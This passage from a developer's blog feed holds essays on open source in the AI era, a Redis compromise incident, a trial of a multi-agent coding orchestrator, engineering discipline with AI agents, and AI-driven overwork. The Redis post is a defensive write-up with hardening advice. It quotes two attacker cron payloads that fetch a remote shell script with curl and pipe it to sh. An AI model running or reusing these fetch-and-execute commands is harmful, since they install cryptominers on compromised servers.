prompted it into existence may not be able to read it. The “author” is a model trained on the commons, producing plausible-looking code that works until it doesn’t. I’ve<a href="https://lakshminp.substack.com/p/claude-code-is-incredible-it-also" rel="external nofollow noopener" class="lnp-link">written about this failure mode</a> — code that compiles, passes tests, and is subtly, catastrophically wrong.</p><p><strong>Second, that someone reads the code.</strong> Open source review depends on humans who care enough to look. But when code is generated at machine speed, the review bottleneck becomes catastrophic. Maintainers are already drowning in AI-generated pull requests — superficially clean, structurally hollow. The immune system is being overwhelmed not by attackers, but by well-meaning slop.</p><p>“Given enough eyeballs, all bugs are shallow” only works if the eyeballs are open.</p><h1 id="the-new-cathedral"><strong>The New Cathedral</strong></h1><p>Raymond’s cathedral was Microsoft. Proprietary, closed, top-down. The bazaar beat it because openness was a structural advantage — more contributors, faster iteration, better feedback loops.</p><p>But look at what the bazaar runs on today.</p><p>Every vibe coder, every AI-assisted open source contributor, every agent spinning up code in a terminal — they’re all downstream of foundation models built inside the most cathedral-like institutions imaginable. Anthropic, OpenAI, Google DeepMind — these are cathedrals that would make 1990s Microsoft blush. Billions in compute, proprietary training data, closed weights, trade secrets wrapped in safety rhetoric.</p><p>The bazaar didn’t defeat the cathedral. It moved in upstairs.</p><p>Open source in 2026 means building with tools you can’t inspect, trained on data you can’t audit, controlled by companies whose incentives you can’t verify. The irony would make Raymond’s head spin: the most “open” era of software creation runs entirely on the most closed infrastructure ever built.</p><h1 id="vibe-coding-raymonds-dream-or-nightmare"><strong>Vibe Coding: Raymond’s Dream or Nightmare?</strong></h1><p>“Release early, release often.” Raymond preached this as the bazaar’s core advantage. Vibe coding takes it to its logical extreme — release in minutes, iterate in seconds, ship before lunch.</p><p>But Raymond’s version had a crucial qualifier nobody quotes: rapid releases were supposed to come with<em>listening to your users</em>. The feedback loop was the point. Ship fast so you can learn fast.</p><p>Vibe coding often skips the loop. Ship fast because shipping is easy. If it breaks, generate a new one. Software becomes disposable. Why debug when you can re-prompt?</p><p>This creates a bizarre inversion. The original bazaar was messy but<em>convergent</em> — many contributors pushing toward better software over time. The vibe-coded bazaar is messy and<em>divergent</em> — infinite forks, infinite rewrites, nothing accumulating into lasting infrastructure.</p><p>Raymond imagined a thousand people improving one thing. We got one person generating a thousand things.</p><h1 id="does-open-source-even-matter-the-same-way"><strong>Does Open Source Even Matter the Same Way?</strong></h1><p>Here’s the uncomfortable question: if anyone can vibe-code a replacement for your library in an afternoon, what does “open source” even mean?</p><p>The traditional argument was access. You shouldn’t have to pay Microsoft for a compiler. You shouldn’t be locked into Oracle’s database. Open source was freedom from vendor dependence.</p><p>But when the vendor is an AI model and the product is generated on demand, the bottleneck shifts. You’re not locked into specific software — you’re locked into the<em>capability to generate software</em>. The dependency moved up a layer of abstraction.</p><p>Open source used to mean: “here’s the code, do what you want.” The new version might mean: “here’s the model weights, do what you want.” And by that standard, most of the AI industry is firmly in cathedral territory.</p><h1 id="what-raymond-got-right-that-still-holds"><strong>What Raymond Got Right (That Still Holds)</strong></h1><p>It’s tempting to write the obituary for the bazaar. Don’t.</p><p>Raymond’s deepest insight wasn’t about code — it was about<em>coordination</em>. The bazaar demonstrated that loose networks of motivated people could outperform rigid hierarchies. That insight is more relevant than ever.</p><p>The projects that will thrive in the agent era won’t be the ones with the most AI-generated PRs. They’ll be the ones that figure out how to coordinate human judgment with machine labor. Someone still has to decide what’s worth building. Someone still has to say “this PR is slop, reject it.” Someone still has to maintain taste.</p><p>The bazaar’s immune system isn’t dead — it just needs to evolve. Instead of “many eyes on the code,” we need “many minds on the direction.” Maintainers become curators. Contributors become reviewers. The scarce resource isn’t writing code anymore. It’s knowing which code to keep.</p><p>Raymond was right that openness wins. He was right that central planning can’t compete with distributed intelligence. He was right that scratching your own itch produces better software than building to spec.</p><p>He just couldn’t have predicted that the itch would be scratched by a machine that doesn’t know what itching feels like.</p><p><em>The Cathedral and the Bazaar assumed humans on both sides of the screen. We’re entering an era where that assumption breaks down. The principles survive. The implementation needs an upgrade.</em></p><p><strong>What do you think — is the bazaar adapting or dying? Reply and tell me.</strong></p>
]]></content:encoded></item><item><title>Your Redis Is Probably Naked Right Now</title><link>https://lakshminp.com/2026/02/redis-security-exposed/</link><pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/02/redis-security-exposed/</guid><category>essays</category><category>security</category><description>Last month I wrote about finding a cryptominer in a client’s Kubernetes cluster. CVSS 10. Next.js RCE. Classic supply chain story. I got to play detective, feel smart, and write about it.
This month the cryptominer came for me.
Saturday night. Tamil movie with my wife. Sentry pings: “Write against read-only replica.” Seventy-four times in two hours.
My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That’s someone inside your house rearranging the furniture.</description><content:encoded>&lt;![CDATA[<p>Last month I wrote about<a href="https://lakshminp.substack.com/p/i-found-a-cryptominer-in-my-clients" rel="external nofollow noopener" class="lnp-link">finding a cryptominer in a client’s Kubernetes cluster</a>. CVSS 10. Next.js RCE. Classic supply chain story. I got to play detective, feel smart, and write about it.</p><p>This month the cryptominer came for<em>me</em>.</p><p>Saturday night. Tamil movie with my wife. Sentry pings: “Write against read-only replica.” Seventy-four times in two hours.</p><p>My first instinct was to ignore it. Background task failures. Probably a blip. But seventy-four errors is not a blip. That’s someone inside your house rearranging the furniture.</p><p>“Two minutes,” I told my wife. (Spoiler: It was not two minutes.)</p><h2 id="the-dumbest-thing-ive-done-in-20-years"><strong>The Dumbest Thing I’ve Done in 20 Years</strong></h2><p>I run a scheduling service — Celery task queue backed by Redis, deployed with Kamal on a Hetzner VPS. Standard solo dev stack. The kind of thing I literally help people set up.</p><p>Here’s the confession: Redis port 6379 was exposed to the public internet. No password. No authentication. For months.</p><p>I copied a deployment config. It worked. I shipped. I moved on to the next feature. Sound familiar?</p><p>An automated scanner found it. At 22:25 UTC, IP<code>46.19.137.194</code> sent a<code>SLAVEOF</code> command — telling my Redis to replicate from their command-and-control server. My Redis complied. For five seconds it went read-only, Celery workers started screaming, and the attacker planted two keys:</p><pre><code>backup1: */2 * * * * root curl -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh
backup3: */4 * * * * root curl -fsSL http://103.79.77.16/ep9TS2/ndt.sh | sh</code></pre><p>Cryptominer installation scripts. Every two minutes. On my $12/month VPS.</p><p>The payloads never made it to crontab — the attack chain didn’t complete. But they were sitting in my Redis like loaded guns.</p><h2 id="the-twenty-minute-fix"><strong>The Twenty-Minute Fix</strong></h2><p>Remove the public port mapping. Add a password. Done.</p><pre><code># Before: come one, come all
redis:
port: 6379
cmd: redis-server --appendonly yes
# After: invitation only
redis:
cmd: redis-server --appendonly yes --requirepass &lt;32-char-password&gt;</code></pre><p>Then<code>ufw deny 6379/tcp</code>, block the attacker IPs, delete the malicious keys. Sentry goes quiet. Movie resumes.</p><p>Twenty minutes to fix. Thirty seconds to have prevented.</p><h2 id="the-pattern-i-keep-seeing"><strong>The Pattern I Keep Seeing</strong></h2><p>Here’s what gets me. Last month it was a client — Next.js RCE, CVSS 10, dependency they forgot to update. This month it’s me — a port mapping I forgot to question.</p><p>Neither attack was sophisticated. Both exploited the gap between “it works” and “it’s secure.” The gap that widens every time you’re shipping fast, solo, with three other things on your plate.</p><p>When you’re the entire engineering team, you’re also the entire security team. There’s no infra review. No SOC watching at 10 PM. It’s you, your monitoring, and whatever defaults you didn’t question.</p><p>I’ve been doing infrastructure for twenty years, and I still shipped an unauthenticated Redis to production. Because the config worked and I had features to build.</p><h2 id="this-is-why-im-building-vmkit"><strong>This Is Why I’m Building VMKit</strong></h2><p>Every time I deploy something to a VPS, I’m making fifty decisions that could go wrong. Port mappings. Firewall rules. Authentication. TLS. Container networking. Every one of them is a potential Saturday night incident.</p><p><a href="https://vmkit.dev/" rel="external nofollow noopener" class="lnp-link">VMKit</a> is my answer to this. Railway-like deployment experience on your own infrastructure — but with sane defaults baked in. No exposed ports unless you explicitly ask for them. Internal networking by default. The kind of guardrails that would have prevented this entire post from existing.</p><p>Because solo devs shouldn’t have to be security experts to deploy a Redis instance. The tooling should handle the boring, critical stuff so you can focus on the features that actually make money.</p><p>I’m building it because I keep shooting myself in the foot, and I’m tired of the limp.</p><h2 id="your-five-minute-audit"><strong>Your Five-Minute Audit</strong></h2><p>If you’re running Redis, PostgreSQL, MongoDB, or Elasticsearch on a VPS right now:</p><ol><li><p><code>docker compose config | grep -i port</code> — anything bound to<code>0.0.0.0</code>? Kill it unless it needs public access.</p></li><li><p><strong>Add authentication to everything.</strong> Redis doesn’t require a password by default. This is unhinged, but here we are.</p></li><li><p><strong>Set up Sentry or equivalent.</strong> Without error monitoring, I’d have a cryptominer running and a confused electricity bill.</p></li><li><p><code>ufw status</code><strong>.</strong> If the output surprises you, that’s your sign.</p></li><li><p><strong>Default deny.</strong> Allow only 22, 80, 443. Everything else is closed until you need it.</p></li></ol><p>The attacker didn’t use a zero-day. They used Shodan, an open port, and my negligence. That’s the most common attack vector for solo-deployed SaaS, and it’s entirely preventable.</p><p>Don’t be me on a Saturday night. Five minutes. Audit your configs.</p><p>Your future self — and your wife — will thank you.</p>
]]></content:encoded></item><item><title>What Happens When You Let 6 AI Agents Write Code at the Same Time</title><link>https://lakshminp.com/2026/01/6-ai-agents-coding-experiment/</link><pubDate>Thu, 29 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/6-ai-agents-coding-experiment/</guid><category>essays</category><category>ai-coding</category><description>Steve Yegge released Gas Town on January 1st, 2026. An agent orchestrator for Claude Code. Multiple AI agents working in parallel, coordinated through git-backed task tracking, communicating via an internal mail system. The pitch: stop babysitting one Claude session. Run twenty.
His first rule: don’t use this in its first weeks.
I used it in its first week.
Why I Couldn’t Wait I work across four projects solo. SaaS products, open source tools, content — the usual indie dev plate-spinning. Every Claude Code session I run is one session I’m not running somewhere else. The promise of parallel agents shipping code while I context-switch between projects was too compelling to resist.</description><content:encoded>&lt;![CDATA[<p>Steve Yegge released<a href="https://github.com/steveyegge/gastown" rel="external nofollow noopener" class="lnp-link">Gas Town</a> on January 1st, 2026. An agent orchestrator for Claude Code. Multiple AI agents working in parallel, coordinated through git-backed task tracking, communicating via an internal mail system. The pitch: stop babysitting one Claude session. Run twenty.</p><p>His first rule: don’t use this in its first weeks.</p><p>I used it in its first week.</p><h1 id="why-i-couldnt-wait"><strong>Why I Couldn’t Wait</strong></h1><p>I work across four projects solo. SaaS products, open source tools, content — the usual indie dev plate-spinning. Every Claude Code session I run is one session I’m not running somewhere else. The promise of parallel agents shipping code while I context-switch between projects was too compelling to resist.</p><p>So I installed Gas Town, added my projects as “rigs,” groomed six tasks into “beads,” and spawned six workers simultaneously.</p><p>My M2 MacBook responded by becoming a space heater that couldn’t render a terminal.</p><h1 id="what-gas-town-actually-is"><strong>What Gas Town Actually Is</strong></h1><p>Before I explain what went wrong, let me translate the concepts. Gas Town uses Mad Max-inspired naming, which is either charming or maddening depending on your patience.</p><p><strong>Town</strong> — Your workspace root (<code>~/gt/</code>). Think of it as the factory floor where everything lives.</p><p><strong>Rig</strong> — A project container. Each of your repos becomes a rig inside the town. Not a git clone itself, but a wrapper that manages clones, worktrees, and workers for that project.</p><p><strong>Beads</strong> — A git-backed issue tracker, also built by Steve. Every task, bug, or feature is a “bead” with a unique ID like<code>supabyoi-9ue</code>. They live in your repo’s<code>.beads/</code> directory, committed alongside your code. Dependencies between beads create a task graph. I wrote about<a href="https://lakshminp.substack.com/p/why-your-ai-wakes-up-every-morning" rel="external nofollow noopener" class="lnp-link">why this matters</a> — AI agents lose all context when sessions end. Beads solve this by making work persist in git. This is the piece that genuinely works well.</p><p><strong>Mayor</strong> — The global coordinator agent. You talk to the mayor, the mayor dispatches work. It sits above all rigs and orchestrates across projects.</p><p><strong>Polecat</strong> — An ephemeral worker agent. Gets spawned with a task, works in its own git worktree, signals completion, gets cleaned up. The grunt labor.</p><p><strong>Witness</strong> — Per-rig monitor that watches polecats. Detects stuck workers, nudges them, handles cleanup.</p><p><strong>Deacon</strong> — Town-level watchdog that patrols all rigs. Monitors witnesses, refineries, everything.</p><p><strong>Refinery</strong> — Per-rig merge queue processor. When a polecat finishes, the refinery handles the PR/merge workflow.</p><p><strong>Convoy</strong> — Batch tracker for related work. Group six beads into a convoy, dispatch them, track progress as a unit.</p><p><strong>Molecules</strong> — Reusable workflow templates. Formula defines the pattern, molecule is the running instance.</p><p>That’s ten concepts before you write a line of code. Steve’s mental model is a steam engine: agents are pistons, work flows through hooks, everything runs on the “Propulsion Principle” — if you find work on your hook, you execute immediately.</p><p>The architecture borrows from Erlang’s supervisor trees(I think) — a pattern from telecom systems where processes are organized in a hierarchy. Each parent monitors its children: if a child crashes, the parent restarts it. In Gas Town, the Deacon watches Witnesses, Witnesses watch Polecats, and failures cascade upward. This is a proven pattern that runs phone switches serving millions of calls. The catch: Erlang processes are lightweight (microseconds to spawn, kilobytes of memory). Claude Code sessions are heavy (seconds to spawn, gigabytes of memory). When each “process” is a full AI session burning tokens, the economics of cheap failure recovery invert.</p><h1 id="what-actually-happened"><strong>What Actually Happened</strong></h1><h2 id="week-one-the-learning-curve"><strong>Week One: The Learning Curve</strong></h2><p>The first session was pure orientation. I needed Claude to explain Gas Town to me<em>while inside Gas Town</em>. The cognitive overhead of mapping “polecat” to “worker” and “rig” to “project” consumed real mental energy that should have gone to actual work.</p><p>The 80/20 path is supposed to be:</p><pre><code>gt up # Boot everything
gt mayor attach # Talk to the mayor</code></pre><p>In practice,<code>gt up</code> failed because the bd (beads daemon) version check timed out. This led me down a rabbit hole patching the version comparison in Go — changing<code>time.Equal()</code> to<code>time.Unix()</code> because JSON serialization was losing nanosecond precision. I was debugging the orchestrator instead of using it.</p><h2 id="week-two-six-polecats-and-a-space-heater"><strong>Week Two: Six Polecats and a Space Heater</strong></h2><p>Once things stabilized, I got ambitious. Six beads groomed, six polecats spawned:</p><pre><code>gt sling supabyoi-9ue supabyoi
gt sling supabyoi-abc supabyoi
# ... four more</code></pre><p>Each polecat is a full Claude Code session in its own tmux pane with its own git worktree. Six of those plus a mayor, witnesses, refineries, deacons, and multiple bd daemons meant my M2 was running 20+ processes competing for resources.</p><p>The system didn’t crash. It degraded. Commands took minutes to respond. Shell execution broke mid-session. I had to kill processes manually and nuke the setup.</p><p>But here’s the thing — that wasn’t entirely Gas Town’s fault. Six concurrent Claude sessions will hammer any laptop. The real issue was that Gas Town spawned orphaned daemon processes that accumulated across restarts. I found six bd daemons running simultaneously, plus stuck<code>bd mol burn</code> processes from days ago that never cleaned up.</p><h2 id="the-doctor-loop"><strong>The Doctor Loop</strong></h2><p>Gas Town has a<code>gt doctor</code> command — a health check that reports errors and warnings. I ran it constantly.</p><p>First run: 1 error, 11 warnings. After<code>gt doctor --fix</code>: 4 fixed, 7 remaining. After restart: new errors. After bd daemon restart: timeout errors. After updating bd from v0.47.0 to v0.47.2: different errors.</p><p>Each fix revealed the next problem. The mayor’s<a href="http://claude.md/" rel="external nofollow noopener" class="lnp-link">CLAUDE.md</a> was 280 lines (should be under 30). Environment variables from dead sessions broke prefix routing. Beads databases pointed to wrong paths. Symlinks needed codesigning to avoid macOS killing the binary.</p><p>It felt less like using a tool and more like being a system administrator for a tool.</p><h2 id="what-genuinely-works"><strong>What Genuinely Works</strong></h2><p><strong>Beads</strong>: The git-backed issue tracker is solid. Creating tasks, tracking dependencies, finding ready work — this layer does its job. It survived every crash and restart because it’s just files in git. Steve built Beads as a standalone tool before Gas Town, and it’s the strongest foundation in the stack.</p><p><strong>Worktree isolation</strong>: Each worker gets its own git worktree. No merge conflicts between parallel work. Clean separation. This is the right primitive.</p><p><strong>The hub/worker model</strong>: Having a coordinator dispatch tasks to isolated workers is correct. The mental model of “groom beads, dispatch to workers, merge results” is sound.</p><p><strong>gt doctor</strong>: Despite the loop, having a comprehensive health check that can auto-fix common issues is genuinely useful infrastructure.</p><h2 id="what-doesnt-work-yet"><strong>What Doesn’t Work Yet</strong></h2><p><strong>Daemon management</strong>: Orphaned processes are the #1 pain. bd daemons accumulate, stuck processes never clean up, version checks timeout. This is being fixed — v0.5.0 added process group killing — but it was brutal in weeks one and two.</p><p><strong>The naming</strong>: I’m not trying to be uncharitable. But “polecat” adds zero information over “worker.” “Molecule” adds confusion over “workflow.” Every conversation about Gas Town requires a glossary. When a Hacker News commenter pointed out the irony — Steve Yegge wrote “Execution in the Kingdom of Nouns” mocking over-abstraction — it stung because it’s accurate.</p><p><strong>Human as dispatcher</strong>: This is the core limitation. Despite all the automation, the mayor waits for you. Issue #694 on GitHub tracks exactly this: “Mayor lacks automated dispatch patrol molecule.” Community members built external cron scripts to poke the system. That tells you everything.</p><p><strong>Cost and resource usage</strong>: Multiple reports of $100/hour token burn rates. DoltHub’s field test found none of the PRs were good enough to merge. The economics only work if the agents produce mergeable code reliably.</p><h1 id="what-im-building-instead"><strong>What I’m Building Instead</strong></h1><p>Gas Town taught me what I need. It also taught me what I don’t.</p><p>I wrote about<a href="https://lakshminp.substack.com/p/why-im-building-an-agent-orchestrator" rel="external nofollow noopener" class="lnp-link">why I’m building my own agent orchestrator</a>. It’s called<code>wt</code>. The core idea: keep the infrastructure that works (beads, worktrees, tmux), strip the ceremony that doesn’t (polecats, molecules, deacons, refineries).</p><p>Where Gas Town has ten concepts,<code>wt</code> has three:<strong>hub</strong>,<strong>worker</strong>,<strong>task</strong>. That’s it.</p><p>The hub coordinates. Workers execute in isolated worktrees. Tasks are beads with dependencies. No mail system, no witness layer, no convoy abstraction. If a worker finishes, the hub sees it in the dashboard. If a worker gets stuck, you look at the terminal. No intermediate monitoring agent needed.</p><p>The key difference:<code>wt</code> is a pluggable orchestrator. Each project gets its own config — yolo mode for prototypes (no tests, auto-merge, maximum speed), strict mode for production code (tests required, PR review, quality gates), or anything in between. Gas Town is one-size-fits-all. Real projects aren’t.</p><p>It’s early. But two weeks of wrestling Gas Town gave me the blueprint for what comes next.</p><h1 id="what-im-taking-away"><strong>What I’m Taking Away</strong></h1><p>Gas Town is a research prototype that got released into the wild. Steve warned people. I didn’t listen.</p><p>But I don’t regret it. Two weeks of wrestling gave me clarity about what agent orchestration actually needs:</p><ol><li><p><strong>Beads (or equivalent) is non-negotiable.</strong> Git-backed task tracking with dependencies is the foundation. Without it, agents have no memory across sessions.</p></li><li><p><strong>Worktree isolation is the right primitive.</strong> One agent, one worktree, no conflicts. Simple and correct.</p></li><li><p><strong>The hub/worker model works — if the hub is smart.</strong> The dispatcher problem is the real unsolved challenge. Manual dispatch defeats the purpose.</p></li><li><p><strong>Simplicity beats power.</strong> Three concepts (hub, worker, task) cover 90% of the use cases. Ten concepts with Mad Max names cover 95% but cost you 5x the cognitive overhead.</p></li><li><p><strong>Your laptop has limits.</strong> Two to three concurrent workers is practical on a MacBook. Six is aspirational. Twenty is a data center problem.</p></li></ol><p>Steve Yegge is doing genuinely new work here. Nobody else has shipped a multi-agent orchestrator for Claude Code with this level of ambition. The HN comment that stuck with me: “Gas Town is cackling mad laughter from someone both insane and prescient simultaneously. Today it’s insane. But expect serious versions in the future informed by these early experiments.”</p><p>I broke the first rule. I’d do it again. Just maybe with fewer polecats next time.</p>
]]></content:encoded></item><item><title>Software Engineering Is Dead, or Is It?</title><link>https://lakshminp.com/2026/01/software-engineering-dead/</link><pubDate>Tue, 27 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/software-engineering-dead/</guid><category>essays</category><category>craft</category><description>Everyone said agentic coding would kill software engineering discipline. Turns out it killed the wrong disciplines.
Clean code? Dead. Nobody’s hand-crafting variable names when Claude generates 500 lines in 30 seconds. But TDD, specs-driven development, domain-driven design — the stuff we used to skip because it felt like ceremony? That’s the load-bearing wall now. Tear it out and the whole thing collapses.
TDD: The Cache That Wasn’t I had Claude Code build me a Redis caching module. Proper TTLs. Cache invalidation on writes. Unit tests passing. Beautiful, elegant, chef’s-kiss code.</description><content:encoded>&lt;![CDATA[<p>Everyone said agentic coding would kill software engineering discipline. Turns out it killed the<em>wrong</em> disciplines.</p><p>Clean code?<a href="https://lakshminp.substack.com/p/clean-code-is-dead-long-live-clean" rel="external nofollow noopener" class="lnp-link">Dead</a>. Nobody’s hand-crafting variable names when Claude generates 500 lines in 30 seconds. But TDD, specs-driven development, domain-driven design — the stuff we used to skip because it felt like ceremony? That’s the load-bearing wall now. Tear it out and the whole thing collapses.</p><h2 id="tdd-the-cache-that-wasnt"><strong>TDD: The Cache That Wasn’t</strong></h2><p>I had Claude Code build me a Redis caching module. Proper TTLs. Cache invalidation on writes. Unit tests passing. Beautiful, elegant, chef’s-kiss code.</p><p>One problem. The actual query functions never called the caching layer.</p><p>Hundreds of requests later, I checked Redis. Empty. A pristine, untouched Redis instance, sitting there like a museum exhibit.<a href="https://lakshminp.substack.com/p/claude-code-is-incredible-it-also" rel="external nofollow noopener" class="lnp-link">I’ve written about these failure patterns before</a> — this one hurt the most.</p><p>Integration tests would have caught it. But only if I’d written them<em>first</em>. That’s the part everyone skips — writing the verification before the implementation. TDD forces you to define “done” before the agent starts building. Without it, you get beautiful isolated components that nobody wired together.</p><p>This isn’t hypothetical. An r/programming thread (894 upvotes) nailed it: “We’re getting correct code, but not right code.” One reviewer found AI-generated Java using the default ForkJoinPool for I/O-bound tasks. Compiles fine. Passes unit tests. Catastrophic under load.</p><p>My favorite was the “chief architect” who generated “full coverage” unit tests with Copilot. Duplicate asserts. Unused service constructions. Tests that passed but tested nothing. A green CI pipeline that was essentially a participation trophy.</p><p>TDD isn’t ceremony anymore. It’s the spec your agent actually follows.</p><h2 id="specs-driven-development-the-authentication-amnesia"><strong>Specs-Driven Development: The Authentication Amnesia</strong></h2><p>I spent two weeks pair-programming authentication with Claude Code. We tracked race conditions together. Debated RS256 vs HS256. Built a shared understanding of every edge case.</p><p>Then compaction hit.</p><p>“Where did we leave off?”</p><p>“I don’t have information about previous sessions.”</p><p>Two weeks of context. Gone. My<a href="http://todo.md/" rel="external nofollow noopener" class="lnp-link">TODO.md</a> became a graveyard of cryptic notes that made sense to exactly nobody, including me three days later.<a href="https://lakshminp.substack.com/p/why-your-ai-wakes-up-every-morning" rel="external nofollow noopener" class="lnp-link">I wrote the full horror story here</a>.</p><p>So I started using a git-backed issue tracker with dependency graphs that persists across agent sessions. Sprints and epics stopped being PM ceremony and became the agent’s memory. The control plane for multi-session work.</p><p>The pattern scales beyond my personal disasters. An r/programming post titled “The era of AI slop cleanup has begun” (4,200 upvotes) described a freelancer who keeps getting hired to fix AI-generated codebases. “It mostly works, but does so terribly.” The missing ingredient every single time: no structured planning, no phased delivery. Just vibes and a prompt.</p><p>Fred Brooks said it decades ago, and r/ExperiencedDevs rediscovered it (1,400 upvotes): “Once requirements are fully expressed, their information content is fixed. You can change surface syntax, but you can’t compress semantics.”</p><p>You can’t skip the thinking. You can only skip writing it down — and then you pay for it later when your agent wakes up with amnesia.</p><h2 id="ddd-the-firewall-agents-cant-generate"><strong>DDD: The Firewall Agents Can’t Generate</strong></h2><p>Here’s a<a href="https://reddit.com/r/programming/comments/1nxobte/the_phantom_author_in_our_codebases_why/" rel="external nofollow noopener" class="lnp-link">Reddit thread</a> that lives in my head rent-free. Someone described the “Phantom Author” problem — only domain experts catch the subtle flaws agents produce. The code compiles. The tests pass. The logic is plausible. But it’s<em>wrong</em> in ways only someone who understands the domain would notice.</p><p>The punchline: “Ironically the only people who should be using AI are people who are already experts.”</p><p>Bounded contexts — the core DDD concept — are the firewall. They tell the agent where one domain ends and another begins. Without that modeling, agents connect everything to everything. Your billing module knows about your notification preferences. Your auth layer has opinions about your recommendation engine.</p><p>Agents can’t generate domain boundaries because domain boundaries come from understanding the business, not the code. That’s your job. The agent’s job is everything inside the boundary.</p><h2 id="the-punchline"><strong>The Punchline</strong></h2><p>The disciplines that survived aren’t the ones that made code pretty. They’re the ones that tame complexity.</p><p>TDD tells the agent what “done” means. Specs give it memory across sessions. DDD gives it boundaries it can’t infer on its own.</p><p>We didn’t need less engineering discipline. We needed<em>different</em> engineering discipline. The ceremony is dead. The structure is mandatory.</p>
]]></content:encoded></item><item><title>The AI Productivity Paradox: Why I'm Working More Than Ever</title><link>https://lakshminp.com/2026/01/ai-productivity-paradox/</link><pubDate>Mon, 26 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/ai-productivity-paradox/</guid><category>essays</category><category>craft</category><description>I had a conversation with a friend last week that I can’t stop thinking about.
We were comparing notes on hitting usage limits with AI coding tools. Both of us on expensive plans. Both of us running into ceilings more often than we did months ago. Both of us, apparently, turning into “power users” in our respective tiers.
And then he dropped this line: “So AI was supposed to make us work less but now we are working more. That’s the conclusion.”</description><content:encoded>&lt;![CDATA[<p>I had a conversation with a friend last week that I can’t stop thinking about.</p><p>We were comparing notes on hitting usage limits with AI coding tools. Both of us on expensive plans. Both of us running into ceilings more often than we did months ago. Both of us, apparently, turning into “power users” in our respective tiers.</p><p>And then he dropped this line: “So AI was supposed to make us work less but now we are working more. That’s the conclusion.”</p><p>I laughed. Then I stopped laughing.</p><p>Because he’s right. I get more done in a single day than I used to accomplish in a week. I’m shipping features, writing content, running experiments at a pace that would’ve been unthinkable about a year ago.</p><p>And I have never worked this much in my life.</p><p>Here’s what nobody warned us about: AI didn’t give us more time. It gave us more capability.</p><p>And capability, it turns out, is extremely addictive.</p><h2 id="the-collapse-of-activation-energy"><strong>The Collapse of Activation Energy</strong></h2><p>Before AI coding assistants, most ideas died a quiet death in my notes app. Not because they were bad ideas. Because the effort-to-value ratio was unfavorable.</p><p>“I could build that feature, but it would take a week of focused work. Is it worth a week? Probably not.”</p><p>Idea archived. Moving on.</p><p>Now that same feature takes a day. Sometimes less. So I build it.</p><p>Then I build the next thing. And the next. And suddenly I’m shipping more in a month than I used to ship in a quarter.</p><p>The activation energy for starting new work collapsed. And I filled every inch of the newly available space.</p><h2 id="ambition-scales-with-output"><strong>Ambition Scales With Output</strong></h2><p>Here’s the thing about humans: we don’t scope our ambitions in absolute terms. We scope them relative to what feels achievable.</p><p>Before AI, I planned projects based on what I could reasonably ship with my limited time and energy. A feature per week. Maybe two if I was focused.</p><p>Now “reasonable” means something entirely different. My mental model of what’s achievable expanded by 5x, and my project scope expanded right along with it.</p><p>I’m not doing the same work faster. I’m doing<em>more work</em>.</p><p>The goalposts moved. And I moved them myself.</p><h2 id="the-death-of-natural-stopping-points"><strong>The Death of Natural Stopping Points</strong></h2><p>There used to be friction in development work. Waiting for builds. Context switching costs. The mental load of holding an entire system in your head while debugging.</p><p>That friction was annoying. It was also a circuit breaker.</p><p>It forced breaks. It created natural pauses where you’d step away, get coffee, maybe realize it was 7pm and you should probably eat dinner.</p><p>AI removed the friction. Which sounds great until you realize the friction was also your automatic brake pedal.</p><p>Now you can go from idea to implementation to deployment without ever hitting a natural stopping point. The only thing that stops you is your own willpower.</p><p>My willpower, for the record, is not great.</p><h2 id="the-dopamine-loop-of-shipping"><strong>The Dopamine Loop of Shipping</strong></h2><p>Here’s an uncomfortable comparison: AI-assisted coding feels a lot like infinite scroll.</p><p>You ship something. It feels good. The tool makes shipping fast and easy. So you ship something else. That also feels good. And there’s always one more thing you could ship.</p><p>Same psychological mechanics. Different output.</p><p>Except instead of consuming content, you’re producing it. Which feels more virtuous. Which makes it even harder to stop.</p><p>“I’m not doomscrolling. I’m being<em>productive</em>.”</p><p>Sure you are.</p><h2 id="the-why-not-threshold"><strong>The “Why Not” Threshold</strong></h2><p>The most insidious change is what happened to my internal cost-benefit calculator.</p><p>I used to ask: “Is this worth the effort?”</p><p>Now I ask: “Why wouldn’t I just do this?”</p><p>That experiment I would’ve skipped because setting it up was tedious? Now I run it. That edge case I would’ve ignored because fixing it properly would take half a day? Now I fix it.</p><p>The threshold for “worth my time” dropped to near zero. So everything is worth my time. So I do everything.</p><p>This is how you end up working 12-hour days while technically being more “efficient” than ever before.</p><h2 id="the-uncomfortable-truth"><strong>The Uncomfortable Truth</strong></h2><p>AI tools didn’t give us more free time. They gave us more output capacity. And we’re psychologically incapable of leaving capacity unused. At least I am.</p><p>The work expanded to fill the available capability. Parkinson’s Law, but in reverse.</p><p>We’re not working less. We’re shipping more while<em>feeling</em> productive. Which is a different thing entirely.</p><p>My friend was right to put “off” in scare quotes when wishing me a good weekend. We both knew I wasn’t really taking time off. I was just switching to a different kind of work.</p><h2 id="what-now"><strong>What Now?</strong></h2><p>I don’t have a tidy solution here. I’m not going to pretend I’ve figured out work-life balance in the age of AI assistants.</p><p>But I’ve started noticing when I’m filling capacity just because I can. When I’m starting a new feature not because it matters, but because the activation energy is so low that “why not” won the argument.</p><p>Sometimes the answer to “why not” is: because you could just&hellip; not.</p><p>Groundbreaking insight, I realize.</p><p>The AI isn’t going to set boundaries for you. If anything, hitting usage limits might be the only forced break some of us get. Which is both sad and a little funny.</p><p>Maybe the real productivity hack is learning to leave capability on the table.</p><p>I’ll let you know how that goes. Right after I ship this one more thing.</p><p><em>I write about building and deploying software as a solo developer. If you’re trying to do it all yourself without hiring a team, I’m probably making the same mistakes you are.</em></p>
]]></content:encoded></item><item><title>I Built 2 SaaS Products Vibe Coding. Here's the System That Made It Work.</title><link>https://lakshminp.com/2026/01/vibe-coding-2-saas-products/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><author>Lakshmi Narasimhan</author><guid isPermaLink="true">https://lakshminp.com/2026/01/vibe-coding-2-saas-products/</guid><category>essays</category><category>saas</category><category>ai-coding</category><description>Gene Kim and Steve Yegge’s Vibe Coding book says you’re the head chef now.
